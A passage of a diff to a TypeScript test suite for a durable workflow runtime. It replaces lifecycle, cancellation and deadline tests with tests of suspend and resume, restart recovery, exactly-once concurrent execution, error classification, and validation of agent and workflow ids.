-      });
-    }
-    return { runtime, entered, release, completed: () => completed };
-  }
+        {
+          attemptToken: 123 as unknown as string,
+          isOwnerQuiescent: () => true,
+        },
+      ),
+    ).rejects.toThrow('start recovery authority is malformed');
+  });
 
-  it('keeps ordinary start and resume snapshots lifecycle-free', async () => {
-    const storage = new InMemoryStore();
-    const { runtime } = buildRuntime(storage);
+  it('runs a workflow to suspension and resumes it to success', async () => {
+    // #given
+    const { runtime } = buildRuntime(new InMemoryStore());
+
+    // #when
     const started = await runtime.start('demo-approval', {
-      runId: 'lazy-lifecycle',
-      inputData: { topic: 'plain' },
+      runId: crypto.randomUUID(),
+      inputData: { topic: 'launch' },
     });
-    expect(started.status).toBe('suspended');
 
-    const workflows = await storage.getStore('workflows');
-    const before = await workflows?.loadWorkflowSnapshot({
-      workflowName: 'demo-approval',
-      runId: started.runId,
+    // #then
+    expect(started.status).toBe('suspended');
+    expect(started.suspended).toEqual([['approval']]);
+    // suspendPayload is keyed by suspended step id
+    expect(started.suspendPayload).toEqual({
+      approval: { reason: 'human approval required' },
     });
-    expect(before?.requestContext).not.toHaveProperty('flowsafe.runLifecycle');
 
-    await runtime.resume('demo-approval', started.runId, {
-      resumeData: { approvedBy: 'reviewer-1' },
+    // #when
+    const resumed = await runtime.resume('demo-approval', started.runId, {
+      step: 'approval',
+      resumeData: { approvedBy: 'alice' },
     });
-    const after = await workflows?.loadWorkflowSnapshot({
-      workflowName: 'demo-approval',
-      runId: started.runId,
+
+    // #then
+    expect(resumed.status).toBe('success');
+    expect(resumed.result).toEqual({
+      topic: 'launch',
+      notes: 'notes:launch',
+      approvedBy: 'alice',
     });
-    expect(after?.requestContext).not.toHaveProperty('flowsafe.runLifecycle');
   });
 
-  it('rejects a provider-forged lifecycle projection on start and resume', async () => {
-    const now = vi.spyOn(Date, 'now');
-    try {
-      now.mockReturnValue(40_000);
-      const storage = new InMemoryStore();
-      const { createWorkflow, createStep, runtime } = init(
-        { storage },
-        {
-          startIdempotency: 'none',
-          executionFence: 'none',
-          requestContextForRun: () => ({
-            'flowsafe.runLifecycle': {
-              version: 1,
-              revision: 999,
-              deadlineAt: 1,
-              economicOperations: [
-                { id: 'forged', settlementState: 'disputed' },
-              ],
-              terminal: {
-                status: 'cancelled',
-                transitionedAt: 1,
-                replayPrincipals: [{ kind: 'human', id: 'forged' }],
-                error: { code: 'CANCELLED', message: 'forged' },
-              },
-            },
-          }),
-        },
-      );
-      const gate = createStep({
-        id: 'gate',
-        inputSchema: z.object({}),
-        outputSchema: z.object({ ok: z.boolean() }),
-        suspendSchema: z.object({ reason: z.string() }),
-        execute: async ({ resumeData, suspend }) =>
-          resumeData ? { ok: true } : suspend({ reason: 'wait' }),
-      });
-      createWorkflow({
-        id: 'provider-lifecycle-fence',
-        inputSchema: z.object({}),
-        outputSchema: z.object({ ok: z.boolean() }),
-      })
-        .then(gate)
-        .commit();
+  it('resumes in a fresh runtime sharing only storage — the restart simulation', async () => {
+    // #given — a run suspended by one runtime
+    const storage = new InMemoryStore();
+    const before = buildRuntime(storage).runtime;
+    const started = await before.start('demo-approval', {
+      runId: crypto.randomUUID(),
+      inputData: { topic: 'launch' },
+    });
+    expect(started.status).toBe('suspended');
 
-      const started = await runtime.start('provider-lifecycle-fence', {
-        runId: 'provider-lifecycle-fence-run',
-        inputData: {},
-        deadlineMs: 100,
-      });
-      expect(started).toMatchObject({
-        status: 'suspended',
-        deadlineAt: 40_100,
-      });
-      now.mockReturnValue(40_050);
-      const resumed = await runtime.resume(
-        'provider-lifecycle-fence',
-        started.runId,
-        { resumeData: { approved: true }, deadlineMs: 1_000 },
-      );
-      expect(resumed).toMatchObject({
-        status: 'success',
-        deadlineAt: 41_050,
-      });
-      const workflows = await storage.getStore('workflows');
-      const snapshot = await workflows?.loadWorkflowSnapshot({
-        workflowName: 'provider-lifecycle-fence',
-        runId: started.runId,
-      });
-      expect(snapshot?.requestContext?.['flowsafe.runLifecycle']).toMatchObject(
-        {
-          revision: 2,
-          deadlineAt: 41_050,
-        },
-      );
-      expect(
-        snapshot?.requestContext?.['flowsafe.runLifecycle'],
-      ).not.toHaveProperty('terminal');
-      expect(
-        snapshot?.requestContext?.['flowsafe.runLifecycle'],
-      ).not.toHaveProperty('economicOperations');
-    } finally {
-      now.mockRestore();
-    }
+    // #when — a fresh runtime (fresh Mastra instance and run registry, as
+    // after a Worker restart; only the storage handle is shared) resumes it
+    const after = buildRuntime(storage).runtime;
+    const observed = await after.status('demo-approval', started.runId);
+    const resumed = await after.resume('demo-approval', started.runId, {
+      step: 'approval',
+      resumeData: { approvedBy: 'alice' },
+    });
+
+    // #then
+    expect(observed).toMatchObject({ status: 'suspended' });
+    expect(resumed.status).toBe('success');
+    expect(resumed.result).toMatchObject({
+      approvedBy: 'alice',
+      topic: 'launch',
+    });
   });
 
-  it('terminates a suspension exactly once with the stable structured shape', async () => {
-    const { runtime } = buildRuntime(new InMemoryStore());
+  it('executes the gated step exactly once under concurrent resume', async () => {
+    // #given — a suspended approval run
+    const { runtime, counters } = buildRuntime(new InMemoryStore());
     const started = await runtime.start('demo-approval', {
-      runId: 'terminate-suspended',
-      inputData: { topic: 'cancel' },
-      requestedBy: principal.id,
-      requestedByKind: principal.kind,
-      deadlineMs: 60_000,
+      runId: crypto.randomUUID(),
+      inputData: { topic: 'race' },
     });
+    expect(started.status).toBe('suspended');
 
-    const first = await runtime.terminateAsPrincipal(
-      'demo-approval',
-      started.runId,
-      principal,
-      principal,
-    );
-    const second = await runtime.terminateAsPrincipal(
-      'demo-approval',
-      started.runId,
-      principal,
-      principal,
-    );
-
-    expect(first.transitioned).toBe(true);
-    expect(second.transitioned).toBe(false);
-    expect(second.summary).toEqual(first.summary);
-    expect(first.summary).toMatchObject({
-      runId: 'terminate-suspended',
-      status: 'cancelled',
-      requestedBy: principal.id,
-      requestedByKind: principal.kind,
-      deadlineAt: expect.any(Number),
-      errorEnvelope: { code: 'CANCELLED', message: 'run was cancelled' },
-    });
-    expect(first.summary).not.toHaveProperty('error');
+    // #when — two racing approvals for the same run
+    const outcomes = await Promise.allSettled([
+      runtime.resume('demo-approval', started.runId, {
+        step: 'approval',
+        resumeData: { approvedBy: 'alice' },
+      }),
+      runtime.resume('demo-approval', started.runId, {
+        step: 'approval',
+        resumeData: { approvedBy: 'bob' },
+      }),
+    ]);
+
+    // #then — exactly one wins; the loser gets RunNotSuspendedError; the
+    // gated action ran once. This is the product's core guarantee.
+    const fulfilled = outcomes.filter((o) => o.status === 'fulfilled');
+    const rejected = outcomes.filter((o) => o.status === 'rejected');
+    expect(fulfilled).toHaveLength(1);
+    expect(rejected).toHaveLength(1);
+    expect((rejected[0] as PromiseRejectedResult).reason).toBeInstanceOf(
+      RunNotSuspendedError,
+    );
+    expect(counters.approvalResumes).toBe(1);
   });
 
-  it('refuses a persisted disputed settlement before cancellation', async () => {
+  it('executes a caller-keyed run exactly once under concurrent start', async () => {
+    // #given
+    const { runtime, counters } = buildRuntime(new InMemoryStore());
+
+    // #when — two racing starts sharing a caller-supplied runId
+    const outcomes = await Promise.allSettled([
+      runtime.start('echo', { runId: 'shared', inputData: { value: 'a' } }),
+      runtime.start('echo', { runId: 'shared', inputData: { value: 'b' } }),
+    ]);
+
+    // #then — one executes, the other is rejected as already existing
+    expect(outcomes.filter((o) => o.status === 'fulfilled')).toHaveLength(1);
+    const rejection = outcomes.find((o) => o.status === 'rejected');
+    expect((rejection as PromiseRejectedResult).reason).toBeInstanceOf(
+      RunAlreadyExistsError,
+    );
+    expect(counters.echoRuns).toBe(1);
+  });
+
+  it('rejects a sequential start that reuses an existing runId', async () => {
+    // #given
     const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: 'disputed-run',
-      inputData: { topic: 'held' },
-      economicOperations: [{ id: 'charge-1', settlementState: 'disputed' }],
-    });
+    await runtime.start('echo', { runId: 'r1', inputData: { value: 'x' } });
 
+    // #when / #then
     await expect(
-      runtime.cancelActiveExecution(
-        'demo-approval',
-        started.runId,
-        'cancelled',
-        [principal],
-      ),
-    ).rejects.toMatchObject({
-      reason: {
-        code: 'DISPUTED_SETTLEMENT',
-        message:
-          'run termination is blocked while an economic operation is disputed',
-      },
-    });
-    await expect(
-      runtime.terminateAsPrincipal(
-        'demo-approval',
-        started.runId,
-        principal,
-        principal,
-      ),
-    ).rejects.toMatchObject({
-      reason: { code: 'DISPUTED_SETTLEMENT' },
-    });
-    await expect(
-      runtime.status('demo-approval', started.runId),
-    ).resolves.toMatchObject({ status: 'suspended' });
+      runtime.start('echo', { runId: 'r1', inputData: { value: 'y' } }),
+    ).rejects.toBeInstanceOf(RunAlreadyExistsError);
   });
 
-  it('aborts a live running step before persisting the cancelled terminal', async () => {
-    const { runtime, entered, completed } = heldRuntime();
-    const starting = runtime.start('held-workflow', {
-      runId: 'held-cancel',
-      inputData: {},
-      requestedBy: principal.id,
-      requestedByKind: principal.kind,
-    });
-    await entered;
+  it('completes non-suspending workflows and rejects resuming them', async () => {
+    // #given
+    const { runtime } = buildRuntime(new InMemoryStore());
 
-    await expect(
-      runtime.cancelActiveExecution(
-        'held-workflow',
-        'held-cancel',
-        'cancelled',
-        [principal],
-      ),
-    ).resolves.toBe(true);
-    await expect(starting).resolves.toMatchObject({ status: 'canceled' });
-    await expect(
-      runtime.terminateAsPrincipal(
-        'held-workflow',
-        'held-cancel',
-        principal,
-        principal,
-      ),
-    ).resolves.toMatchObject({
-      transitioned: true,
-      summary: { status: 'cancelled', errorEnvelope: { code: 'CANCELLED' } },
+    // #when
+    const done = await runtime.start('echo', {
+      runId: crypto.randomUUID(),
+      inputData: { value: 'hi' },
     });
-    expect(completed()).toBe(false);
+
+    // #then
+    expect(done.status).toBe('success');
+    expect(done.result).toEqual({ value: 'hi' });
     await expect(
-      runtime.status('held-workflow', 'held-cancel'),
-    ).resolves.toMatchObject({ status: 'cancelled' });
+      runtime.resume('echo', done.runId, { resumeData: {} }),
+    ).rejects.toBeInstanceOf(RunNotSuspendedError);
   });
 
-  it('retries a live abort when the durable intent survived a transient cancel failure', async () => {
-    const { runtime, entered, completed } = heldRuntime({
-      cancelFailures: 1,
-    });
-    const starting = runtime.start('held-workflow', {
-      runId: 'held-cancel-retry',
-      inputData: {},
+  it('classifies resume-schema violations as InvalidRunRequestError and keeps the run resumable', async () => {
+    // #given
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: crypto.randomUUID(),
+      inputData: { topic: 'validate' },
     });
-    await entered;
 
+    // #when / #then — bad resumeData is a client error, not a server fault
     await expect(
-      runtime.cancelActiveExecution(
-        'held-workflow',
-        'held-cancel-retry',
-        'cancelled',
-        [principal],
-      ),
-    ).rejects.toThrow('injected cancel failure');
-    await expect(
-      runtime.cancelActiveExecution(
-        'held-workflow',
-        'held-cancel-retry',
-        'cancelled',
-        [principal],
-      ),
-    ).resolves.toBe(true);
-    await expect(starting).resolves.toMatchObject({ status: 'canceled' });
-    await expect(
-      runtime.terminateAsPrincipal(
-        'held-workflow',
-        'held-cancel-retry',
-        principal,
-        principal,
-      ),
-    ).resolves.toMatchObject({
-      summary: { status: 'cancelled' },
-      transitioned: true,
+      runtime.resume('demo-approval', started.runId, {
+        step: 'approval',
+        resumeData: { approvedBy: 123 },
+      }),
+    ).rejects.toBeInstanceOf(InvalidRunRequestError);
+
+    // #then — the run is still suspended and a valid resume completes it
+    expect(await runtime.status('demo-approval', started.runId)).toMatchObject({
+      status: 'suspended',
     });
-    expect(completed()).toBe(false);
+    const resumed = await runtime.resume('demo-approval', started.runId, {
+      step: 'approval',
+      resumeData: { approvedBy: 'carol' },
+    });
+    expect(resumed.status).toBe('success');
   });
 
-  it('does not abort a live running step initialized with a disputed settlement', async () => {
-    const { runtime, entered, release, completed } = heldRuntime();
-    const starting = runtime.start('held-workflow', {
-      runId: 'held-disputed',
-      inputData: {},
-      economicOperations: [{ id: 'charge-live', settlementState: 'disputed' }],
+  it('classifies a resume targeting a non-suspended step as InvalidRunRequestError', async () => {
+    // #given
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: crypto.randomUUID(),
+      inputData: { topic: 'wrong-step' },
     });
-    await entered;
 
+    // #when / #then
     await expect(
-      runtime.cancelActiveExecution(
-        'held-workflow',
-        'held-disputed',
-        'cancelled',
-        [principal],
-      ),
-    ).rejects.toMatchObject({
-      reason: { code: 'DISPUTED_SETTLEMENT' },
-    });
-    release();
-    await expect(starting).resolves.toMatchObject({ status: 'success' });
-    expect(completed()).toBe(true);
+      runtime.resume('demo-approval', started.runId, {
+        step: 'research',
+        resumeData: { approvedBy: 'dave' },
+      }),
+    ).rejects.toBeInstanceOf(InvalidRunRequestError);
   });
 
-  it('extends a persisted deadline on resume and times out only once', async () => {
-    const now = vi.spyOn(Date, 'now');
-    now.mockReturnValue(10_000);
+  it('honors caller-provided runIds', async () => {
+    // #given
     const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: 'deadline-resume',
-      inputData: { topic: 'deadline' },
-      deadlineMs: 100,
-    });
-    expect(started.deadlineAt).toBe(10_100);
 
-    now.mockReturnValue(10_050);
-    const resumed = await runtime.resume('demo-approval', started.runId, {
-      resumeData: { approvedBy: 'reviewer-1' },
-      deadlineMs: 1_000,
+    // #when
+    const started = await runtime.start('echo', {
+      runId: 'fixed-run-id',
+      inputData: { value: 'x' },
     });
-    expect(resumed.deadlineAt).toBe(11_050);
 
-    const timeoutRun = await runtime.start('demo-approval', {
-      runId: 'deadline-once',
-      inputData: { topic: 'timeout' },
-      deadlineMs: 0,
-    });
-    const first = await runtime.timeOut(
-      'demo-approval',
-      timeoutRun.runId,
-      { expectedRevision: 1, expectedDeadlineAt: 10_050 },
-      10_050,
-    );
-    const second = await runtime.timeOut(
-      'demo-approval',
-      timeoutRun.runId,
-      { expectedRevision: 1, expectedDeadlineAt: 10_050 },
-      10_051,
-    );
-    expect(first.transitioned).toBe(true);
-    expect(second.transitioned).toBe(false);
-    expect(second.summary).toEqual(first.summary);
-    expect(first.summary).toMatchObject({
-      status: 'timed_out',
-      errorEnvelope: { code: 'TIMED_OUT', message: 'run deadline expired' },
-    });
-    now.mockRestore();
+    // #then
+    expect(started.runId).toBe('fixed-run-id');
   });
 
-  it('rejects a stale deadline CAS while an extended resume leg is active', async () => {
-    const now = vi.spyOn(Date, 'now');
-    try {
-      now.mockReturnValue(20_000);
-      const { runtime, entered, release, completed } = heldRuntime({
-        suspendFirst: true,
-      });
-      const started = await runtime.start('held-workflow', {
-        runId: 'held-resume-extension',
-        inputData: {},
-        deadlineMs: 100,
-      });
-      expect(started).toMatchObject({
-        status: 'suspended',
-        deadlineAt: 20_100,
-      });
-
-      now.mockReturnValue(20_050);
-      const resuming = runtime.resume(
-        'held-workflow',
-        'held-resume-extension',
-        { resumeData: { approved: true }, deadlineMs: 1_000 },
-      );
-      await entered;
-      await expect(
-        runtime.cancelActiveExecution(
-          'held-workflow',
-          'held-resume-extension',
-          'timed_out',
-          [principal],
-          { expectedRevision: 1, expectedDeadlineAt: 20_100 },
-          20_100,
-        ),
-      ).resolves.toBe(false);
+  it('throws UnknownWorkflowError for unregistered workflows', async () => {
+    // #given
+    const { runtime } = buildRuntime(new InMemoryStore());
 
-      release();
-      await expect(resuming).resolves.toMatchObject({
-        status: 'success',
-        deadlineAt: 21_050,
-      });
-      expect(completed()).toBe(true);
-    } finally {
-      now.mockRestore();
-    }
+    // #when / #then
+    await expect(
+      runtime.start('nope', { runId: 'r-unknown' }),
+    ).rejects.toBeInstanceOf(UnknownWorkflowError);
   });
 
-  it('preserves an active resume extension and cancellation intent through fresh-runtime recovery', async () => {
-    const now = vi.spyOn(Date, 'now');
-    try {
-      const storage = new InMemoryStore();
-      now.mockReturnValue(30_000);
-      const { runtime, entered } = heldRuntime({
-        suspendFirst: true,
-        storage,
-      });
-      await runtime.start('held-workflow', {
-        runId: 'held-resume-cancel-recovery',
-        inputData: {},
-        deadlineMs: 100,
-      });
+  it('returns null status for unknown runs', async () => {
+    // #given
+    const { runtime } = buildRuntime(new InMemoryStore());
 
-      now.mockReturnValue(30_050);
-      const resuming = runtime.resume(
-        'held-workflow',
-        'held-resume-cancel-recovery',
-        {
-          resumeData: { approved: true },
-          deadlineMs: 1_000,
-          economicOperations: [
-            { id: 'charge-resume', settlementState: 'settled' },
-          ],
-        },
-      );
-      await entered;
-      await expect(
-        runtime.cancelActiveExecution(
-          'held-workflow',
-          'held-resume-cancel-recovery',
-          'cancelled',
-          [principal],
-        ),
-      ).resolves.toBe(true);
-      await expect(resuming).resolves.toMatchObject({ status: 'canceled' });
+    // #when / #then
+    expect(await runtime.status('echo', 'missing-run')).toBeNull();
+  });
 
-      const workflows = await storage.getStore('workflows');
-      const precursor = await workflows?.loadWorkflowSnapshot({
-        workflowName: 'held-workflow',
-        runId: 'held-resume-cancel-recovery',
-      });
-      expect(
-        precursor?.requestContext?.['flowsafe.runLifecycle'],
-      ).toMatchObject({
-        revision: 3,
-        deadlineAt: 31_050,
-        economicOperations: [
-          { id: 'charge-resume', settlementState: 'settled' },
-        ],
-        transitionIntent: { status: 'cancelled' },
-      });
+  it('lists registered workflow ids', () => {
+    // #given
+    const { runtime } = buildRuntime(new InMemoryStore());
 
-      const fresh = heldRuntime({ suspendFirst: true, storage }).runtime;
-      await expect(
-        fresh.terminateAsPrincipal(
-          'held-workflow',
-          'held-resume-cancel-recovery',
-          principal,
-          principal,
-        ),
-      ).resolves.toMatchObject({
-        transitioned: true,
-        summary: {
-          status: 'cancelled',
-          deadlineAt: 31_050,
-          errorEnvelope: { code: 'CANCELLED' },
-        },
-      });
-      const terminal = await workflows?.loadWorkflowSnapshot({
-        workflowName: 'held-workflow',
-        runId: 'held-resume-cancel-recovery',
-      });
-      expect(terminal?.requestContext?.['flowsafe.runLifecycle']).toMatchObject(
-        {
-          economicOperations: [
-            { id: 'charge-resume', settlementState: 'settled' },
-          ],
-          terminal: { status: 'cancelled' },
-        },
-      );
-    } finally {
-      now.mockRestore();
-    }
+    // #when / #then
+    expect(runtime.workflowIds().sort()).toEqual(['demo-approval', 'echo']);
   });
 
-  it('fences a resume that is still preparing when termination begins', async () => {
-    const storage = new InMemoryStore();
-    const { runtime, completed } = heldRuntime({
-      suspendFirst: true,
-      storage,
-    });
-    await runtime.start('held-workflow', {
-      runId: 'resume-preparation-terminate',
-      inputData: {},
-      deadlineMs: 100,
-    });
-    let preparationEntered!: () => void;
-    let releasePreparation!: () => void;
-    const entered = new Promise<void>((resolve) => {
-      preparationEntered = resolve;
-    });
-    const preparation = new Promise<void>((resolve) => {
-      releasePreparation = resolve;
+  it('rejects duplicate workflow ids at registration', () => {
+    // #given
+    const { createWorkflow } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    createWorkflow({
+      id: 'wf',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
     });
 
-    const resuming = runtime.resume(
-      'held-workflow',
-      'resume-preparation-terminate',
-      {
-        resumeData: { approved: true },
-        deadlineMs: 1_000,
-        prepareExecution: async () => {
-          preparationEntered();
-          await preparation;
-        },
-      },
+    // #when / #then
+    expect(() =>
+      createWorkflow({
+        id: 'wf',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      }),
+    ).toThrowError(/duplicate workflow id/);
+  });
+
+  it('rejects duplicate agent ids at registration', () => {
+    // #given
+    const { runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
     );
-    await entered;
+    runtime.registerAgent(runtimeAgent('writer'));
 
-    await expect(
-      runtime.cancelActiveExecution(
-        'held-workflow',
-        'resume-preparation-terminate',
-        'cancelled',
-        [principal],
-      ),
-    ).resolves.toBe(false);
-    releasePreparation();
-    await expect(resuming).rejects.toMatchObject({
-      name: 'RunTerminalConflictError',
-    });
-    await expect(
-      runtime.terminateAsPrincipal(
-        'held-workflow',
-        'resume-preparation-terminate',
-        principal,
-        principal,
-      ),
-    ).resolves.toMatchObject({
-      transitioned: true,
-      summary: {
-        status: 'cancelled',
-        deadlineAt: expect.any(Number),
-      },
-    });
-    expect(completed()).toBe(false);
+    // #when / #then
+    expect(() => runtime.registerAgent(runtimeAgent('writer'))).toThrowError(
+      /duplicate agent id/,
+    );
   });
 
-  it('re-drives a persisted core-canceled precursor after runtime eviction', async () => {
-    const storage = new InMemoryStore();
-    const before = buildRuntime(storage).runtime;
-    await before.start('demo-approval', {
-      runId: 'canceled-wedge',
-      inputData: { topic: 'wedge' },
-      deadlineMs: 1_000,
-    });
-    const workflows = await storage.getStore('workflows');
-    const snapshot = await workflows?.loadWorkflowSnapshot({
-      workflowName: 'demo-approval',
-      runId: 'canceled-wedge',
-    });
-    if (!workflows || !snapshot) throw new Error('snapshot missing');
-    await workflows.persistWorkflowSnapshot({
-      workflowName: 'demo-approval',
-      runId: 'canceled-wedge',
-      snapshot: {
-        ...snapshot,
-        status: 'canceled',
-        requestContext: {
-          ...snapshot.requestContext,
-          'flowsafe.runLifecycle': {
-            version: 1,
-            revision: 2,
-            deadlineAt: snapshot.requestContext?.['flowsafe.runLifecycle']
-              ? (
-                  snapshot.requestContext['flowsafe.runLifecycle'] as {
-                    deadlineAt: number;
-                  }
-                ).deadlineAt
-              : 0,
-            transitionIntent: {
-              status: 'cancelled',
-              requestedAt: Date.now(),
-              replayPrincipals: [principal],
-            },
-          },
-        },
-      },
+  it('exposes every registered agent to workflow execution', async () => {
+    // #given
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    const agents = [
+      runtimeAgent('a'),
+      runtimeAgent('b'),
+      runtimeAgent('__proto__'),
+      runtimeAgent('runtime-agent:__proto__'),
+    ];
+    for (const agent of agents) runtime.registerAgent(agent);
+    const resolveAgents = createStep({
+      id: 'resolve-agents',
+      inputSchema: z.object({}),
+      outputSchema: z.object({
+        firstByKey: z.string(),
+        secondById: z.string(),
+        collisionById: z.string(),
+        prefixedByKey: z.string(),
+        workflowByKey: z.string(),
+      }),
+      execute: async ({ mastra }) => ({
+        firstByKey: mastra.getAgent('a').id,
+        secondById: mastra.getAgentById('b').id,
+        collisionById: mastra.getAgentById('__proto__').id,
+        prefixedByKey: mastra.getAgent('runtime-agent:__proto__').id,
+        workflowByKey: mastra.getWorkflow('agent-resolution').id,
+      }),
+    });
+    createWorkflow({
+      id: 'agent-resolution',
+      inputSchema: z.object({}),
+      outputSchema: z.object({
+        firstByKey: z.string(),
+        secondById: z.string(),
+        collisionById: z.string(),
+        prefixedByKey: z.string(),
+        workflowByKey: z.string(),
+      }),
+    })
+      .then(resolveAgents)
+      .commit();
+
+    // #when
+    const summary = await runtime.start('agent-resolution', {
+      runId: crypto.randomUUID(),
+      inputData: {},
     });
 
-    const after = buildRuntime(storage).runtime;
-    await expect(
-      after.terminateAsPrincipal(
-        'demo-approval',
-        'canceled-wedge',
-        principal,
-        principal,
-      ),
-    ).resolves.toMatchObject({
-      transitioned: true,
-      summary: {
-        status: 'cancelled',
-        errorEnvelope: { code: 'CANCELLED' },
+    // #then
+    expect(summary).toMatchObject({
+      status: 'success',
+      result: {
+        firstByKey: 'a',
+        secondById: 'b',
+        collisionById: '__proto__',
+        prefixedByKey: 'runtime-agent:__proto__',
+        workflowByKey: 'agent-resolution',
       },
     });
   });
 
-  it('re-drives a persisted cancellation intent after core writes late success', async () => {
-    const storage = new InMemoryStore();
-    const before = buildRuntime(storage).runtime;
-    await before.start('demo-approval', {
-      runId: 'success-after-cancel-intent',
-      inputData: { topic: 'late-success' },
-      deadlineMs: 1_000,
-    });
-    const workflows = await storage.getStore('workflows');
-    const snapshot = await workflows?.loadWorkflowSnapshot({
-      workflowName: 'demo-approval',
-      runId: 'success-after-cancel-intent',
+  it('passes the runtime pubsub to registered agents', async () => {
+    // #given
+    const pubsub = createHostPubSub();
+    const publish = vi.spyOn(pubsub, 'publish');
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', pubsub, executionFence: 'none' },
+    );
+    const agent = runtimeAgent('writer');
+    runtime.registerAgent(agent);
+    const noop = createStep({
+      id: 'noop',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      execute: async () => ({}),
     });
-    if (!workflows || !snapshot) throw new Error('snapshot missing');
-    const lifecycle = snapshot.requestContext?.[
-      'flowsafe.runLifecycle'
-    ] as Record<string, unknown>;
-    await workflows.persistWorkflowSnapshot({
-      workflowName: 'demo-approval',
-      runId: 'success-after-cancel-intent',
-      snapshot: {
-        ...snapshot,
-        status: 'success',
-        result: { late: true },
-        requestContext: {
-          ...snapshot.requestContext,
-          'flowsafe.runLifecycle': {
-            ...lifecycle,
-            revision: 2,
-            transitionIntent: {
-              status: 'cancelled',
-              requestedAt: Date.now(),
-              replayPrincipals: [principal],
-            },
-          },
-        },
-      },
+    createWorkflow({
+      id: 'pubsub-agent',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(noop)
+      .commit();
+    await runtime.start('pubsub-agent', {
+      runId: crypto.randomUUID(),
+      inputData: {},
     });
+    publish.mockClear();
 
-    const after = buildRuntime(storage).runtime;
-    await expect(
-      after.terminateAsPrincipal(
-        'demo-approval',
-        'success-after-cancel-intent',
-        principal,
-        principal,
-      ),
-    ).resolves.toMatchObject({
-      transitioned: true,
-      summary: {
-        status: 'cancelled',
-        errorEnvelope: { code: 'CANCELLED' },
-      },
-    });
-    await expect(
-      after.status('demo-approval', 'success-after-cancel-intent'),
-    ).resolves.toMatchObject({
-      status: 'cancelled',
-      errorEnvelope: { code: 'CANCELLED' },
+    // #when
+    const agentPubsub = agent.getPubSub();
+    expect(agentPubsub).toBeDefined();
+    await agentPubsub?.publish('runtime-agent-test', {
+      type: 'runtime-agent-test',
+      data: agent.id,
+      runId: 'runtime-agent-test',
     });
+
+    // #then
+    expect(publish).toHaveBeenCalledOnce();
   });
 
-  it('repairs an intent dropped by one stale late-success snapshot write', async () => {
-    const storage = new InMemoryStore();
-    const workflows = await storage.getStore('workflows');
-    if (!workflows) throw new Error('workflows storage missing');
-    const originalPersist = workflows.persistWorkflowSnapshot.bind(workflows);
-    let droppedIntent = false;
-    Object.defineProperty(workflows, 'persistWorkflowSnapshot', {
-      configurable: true,
-      value: async (
-        input: Parameters<typeof workflows.persistWorkflowSnapshot>[0],
-      ) => {
-        const lifecycle = input.snapshot.requestContext?.[
-          'flowsafe.runLifecycle'
-        ] as Record<string, unknown> | undefined;
-        if (
-          !droppedIntent &&
-          input.snapshot.status === 'success' &&
-          lifecycle?.transitionIntent
-        ) {
-          droppedIntent = true;
-          const { transitionIntent: _intent, ...staleLifecycle } = lifecycle;
-          return originalPersist({
-            ...input,
-            snapshot: {
-              ...input.snapshot,
-              requestContext: {
-                ...input.snapshot.requestContext,
-                'flowsafe.runLifecycle': staleLifecycle,
-              },
-            },
-          });
-        }
-        return originalPersist(input);
-      },
-    });
-    const { runtime, entered, release } = heldRuntime({
-      storage,
-      cancelNoop: true,
+  it.each([
+    '__proto__',
+    'constructor',
+  ])("executes prototype-collision workflow id '%s'", async (workflowId) => {
+    // #given
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    const noop = createStep({
+      id: 'noop',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ resolved: z.string() }),
+      execute: async ({ mastra }) => ({
+        resolved: mastra.getWorkflowById(workflowId).id,
+      }),
     });
-    const starting = runtime.start('held-workflow', {
-      runId: 'stale-success-intent-repair',
+    createWorkflow({
+      id: workflowId,
+      inputSchema: z.object({}),
+      outputSchema: z.object({ resolved: z.string() }),
+    })
+      .then(noop)
+      .commit();
+
+    // #when
+    const summary = await runtime.start(workflowId, {
+      runId: crypto.randomUUID(),
       inputData: {},
     });
-    await entered;
-    await expect(
-      runtime.cancelActiveExecution(
-        'held-workflow',
-        'stale-success-intent-repair',
-        'cancelled',
-        [principal],
-      ),
-    ).resolves.toBe(true);
-    release();
-    await expect(starting).resolves.toMatchObject({ status: 'success' });
-    expect(droppedIntent).toBe(true);
 
-    const repaired = await workflows.loadWorkflowSnapshot({
-      workflowName: 'held-workflow',
-      runId: 'stale-success-intent-repair',
-    });
-    expect(repaired?.requestContext?.['flowsafe.runLifecycle']).toMatchObject({
-      transitionIntent: { status: 'cancelled' },
+    // #then
+    expect(summary).toMatchObject({
+      status: 'success',
+      result: { resolved: workflowId },
     });
+  });
 
-    const fresh = heldRuntime({ storage }).runtime;
-    await expect(
-      fresh.terminateAsPrincipal(
-        'held-workflow',
-        'stale-success-intent-repair',
-        principal,
-        principal,
-      ),
-    ).resolves.toMatchObject({
-      transitioned: true,
-      summary: { status: 'cancelled' },
+  it.each([
+    'team:wf',
+    'a/b',
+    '.',
+    '..',
+    '',
+  ])("rejects non-path-safe workflow id '%s' at registration", (id) => {
+    // #given
+    const { createWorkflow } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+
+    // #when / #then — a ':' or '/' in the id would make the DO name join
+    // (`${workflowId}:${runId}`) and the /runs/:workflowId/:runId path
+    // ambiguous; fail at register(), before any run can be minted under it
+    expect(() =>
+      createWorkflow({
+        id,
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      }),
+    ).toThrowError(/must be URL-path-safe/);
+  });
+
+  it('accepts path-safe workflow ids at registration', () => {
+    // #given
+    const { createWorkflow, runtime } = init(
+      { storage: new InMemoryStore() },
